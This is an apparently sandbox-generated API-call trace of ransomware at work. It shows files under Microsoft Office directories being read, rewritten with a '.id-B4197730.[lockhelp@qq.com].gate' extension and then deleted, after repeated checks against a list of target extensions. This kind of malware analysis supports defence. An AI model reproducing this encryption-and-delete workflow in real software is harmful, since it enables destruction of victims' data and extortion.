(lpString=".rar") returned 4 [0299.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.260] lstrlenW (lpString=".bz2") returned 4 [0299.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.260] lstrlenW (lpString=".7z") returned 3 [0299.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.260] lstrlenW (lpString=".dbf") returned 4 [0299.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.260] lstrlenW (lpString=".1cd") returned 4 [0299.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.260] lstrlenW (lpString=".jpg") returned 4 [0299.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.260] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0299.260] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0299.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.261] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=19136) returned 1 [0299.261] CloseHandle (hObject=0x568) returned 1 [0299.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0299.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0299.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.261] lstrlenW (lpString=".doc") returned 4 [0299.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.261] lstrlenW (lpString=".docx") returned 5 [0299.261] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.262] lstrlenW (lpString=".pdf") returned 4 [0299.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString=".xls") returned 4 [0299.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString=".xlsx") returned 5 [0299.262] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.262] lstrlenW (lpString=".ppt") returned 4 [0299.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.262] lstrlenW (lpString=".zip") returned 4 [0299.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString=".rar") returned 4 [0299.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString=".bz2") returned 4 [0299.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.262] lstrlenW (lpString=".7z") returned 3 [0299.262] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.262] lstrlenW (lpString=".dbf") returned 4 [0299.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.262] lstrlenW (lpString=".1cd") returned 4 [0299.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.262] lstrlenW (lpString=".jpg") returned 4 [0299.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.262] lstrlenW (lpString=".doc") returned 4 [0299.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.262] lstrlenW (lpString=".docx") returned 5 [0299.263] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.263] lstrlenW (lpString=".pdf") returned 4 [0299.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.263] lstrlenW (lpString=".xls") returned 4 [0299.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.263] lstrlenW (lpString=".xlsx") returned 5 [0299.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.263] lstrlenW (lpString=".ppt") returned 4 [0299.263] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.263] lstrlenW (lpString=".zip") returned 4 [0299.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.263] lstrlenW (lpString=".rar") returned 4 [0299.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.263] lstrlenW (lpString=".bz2") returned 4 [0299.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.263] lstrlenW (lpString=".7z") returned 3 [0299.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.263] lstrlenW (lpString=".dbf") returned 4 [0299.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.263] lstrlenW (lpString=".1cd") returned 4 [0299.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0299.263] lstrlenW (lpString=".jpg") returned 4 [0299.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.264] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0299.264] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0299.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.264] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=20672) returned 1 [0299.264] CloseHandle (hObject=0x568) returned 1 [0299.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0299.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0299.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.265] lstrlenW (lpString=".doc") returned 4 [0299.265] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.265] lstrlenW (lpString=".docx") returned 5 [0299.265] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.265] lstrlenW (lpString=".pdf") returned 4 [0299.265] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.265] lstrlenW (lpString=".xls") returned 4 [0299.265] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.265] lstrlenW (lpString=".xlsx") returned 5 [0299.265] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.265] lstrlenW (lpString=".ppt") returned 4 [0299.265] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.265] lstrlenW (lpString=".zip") returned 4 [0299.265] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.265] lstrlenW (lpString=".rar") returned 4 [0299.265] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.265] lstrlenW (lpString=".bz2") returned 4 [0299.265] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.265] lstrlenW (lpString=".7z") returned 3 [0299.265] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.265] lstrlenW (lpString=".dbf") returned 4 [0299.265] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.265] lstrlenW (lpString=".1cd") returned 4 [0299.265] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.265] lstrlenW (lpString=".jpg") returned 4 [0299.265] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.266] lstrlenW (lpString=".doc") returned 4 [0299.266] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString=".docx") returned 5 [0299.266] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.266] lstrlenW (lpString=".pdf") returned 4 [0299.266] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString=".xls") returned 4 [0299.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString=".xlsx") returned 5 [0299.266] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.266] lstrlenW (lpString=".ppt") returned 4 [0299.266] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.266] lstrlenW (lpString=".zip") returned 4 [0299.266] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString=".rar") returned 4 [0299.266] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.266] lstrlenW (lpString=".bz2") returned 4 [0299.266] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.266] lstrlenW (lpString=".7z") returned 3 [0299.266] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.266] lstrlenW (lpString=".dbf") returned 4 [0299.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.266] lstrlenW (lpString=".1cd") returned 4 [0299.266] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0299.266] lstrlenW (lpString=".jpg") returned 4 [0299.266] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.267] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0299.267] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0299.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.267] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=19648) returned 1 [0299.267] CloseHandle (hObject=0x568) returned 1 [0299.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0299.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0299.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0299.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0299.268] lstrlenW (lpString=".doc") returned 4 [0299.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.268] lstrlenW (lpString=".docx") returned 5 [0299.268] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.268] lstrlenW (lpString=".pdf") returned 4 [0299.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.268] lstrlenW (lpString=".xls") returned 4 [0299.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.268] lstrlenW (lpString=".xlsx") returned 5 [0299.268] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.268] lstrlenW (lpString=".ppt") returned 4 [0299.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0299.268] lstrlenW (lpString=".zip") returned 4 [0299.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.268] lstrlenW (lpString=".rar") returned 4 [0299.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.268] lstrlenW (lpString=".bz2") returned 4 [0299.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.268] lstrlenW (lpString=".7z") returned 3 [0299.268] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0299.268] lstrlenW (lpString=".dbf") returned 4 [0299.268] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0299.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0299.295] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=9322) returned 1 [0299.295] CloseHandle (hObject=0x554) returned 1 [0299.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0299.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.295] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.295] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0299.296] GetLastError () returned 0x0 [0299.296] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x246a, lpOverlapped=0x0) returned 1 [0299.434] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2470, lpOverlapped=0x0) returned 1 [0299.435] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.435] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.436] SetEndOfFile (hFile=0x4c4) returned 1 [0299.436] CloseHandle (hObject=0x4c4) returned 1 [0299.436] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.436] SetEndOfFile (hFile=0x554) returned 1 [0299.438] CloseHandle (hObject=0x554) returned 1 [0299.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0299.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.440] lstrlenW (lpString=".doc") returned 4 [0299.440] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.440] lstrlenW (lpString=".docx") returned 5 [0299.440] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.440] lstrlenW (lpString=".pdf") returned 4 [0299.440] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.440] lstrlenW (lpString=".xls") returned 4 [0299.440] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.440] lstrlenW (lpString=".xlsx") returned 5 [0299.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.440] lstrlenW (lpString=".ppt") returned 4 [0299.440] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.440] lstrlenW (lpString=".zip") returned 4 [0299.440] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.440] lstrlenW (lpString=".rar") returned 4 [0299.440] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.440] lstrlenW (lpString=".bz2") returned 4 [0299.440] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.440] lstrlenW (lpString=".7z") returned 3 [0299.440] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.440] lstrlenW (lpString=".dbf") returned 4 [0299.440] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.441] lstrlenW (lpString=".1cd") returned 4 [0299.441] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.441] lstrlenW (lpString=".jpg") returned 4 [0299.441] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.441] lstrlenW (lpString=".doc") returned 4 [0299.441] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.441] lstrlenW (lpString=".docx") returned 5 [0299.441] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.441] lstrlenW (lpString=".pdf") returned 4 [0299.441] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.441] lstrlenW (lpString=".xls") returned 4 [0299.441] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.441] lstrlenW (lpString=".xlsx") returned 5 [0299.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.441] lstrlenW (lpString=".ppt") returned 4 [0299.441] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.441] lstrlenW (lpString=".zip") returned 4 [0299.441] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.441] lstrlenW (lpString=".rar") returned 4 [0299.441] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.441] lstrlenW (lpString=".bz2") returned 4 [0299.441] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.441] lstrlenW (lpString=".7z") returned 3 [0299.441] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.442] lstrlenW (lpString=".dbf") returned 4 [0299.442] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.442] lstrlenW (lpString=".1cd") returned 4 [0299.442] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0299.442] lstrlenW (lpString=".jpg") returned 4 [0299.442] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.442] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.442] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0299.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.443] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=6970) returned 1 [0299.443] CloseHandle (hObject=0x554) returned 1 [0299.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft 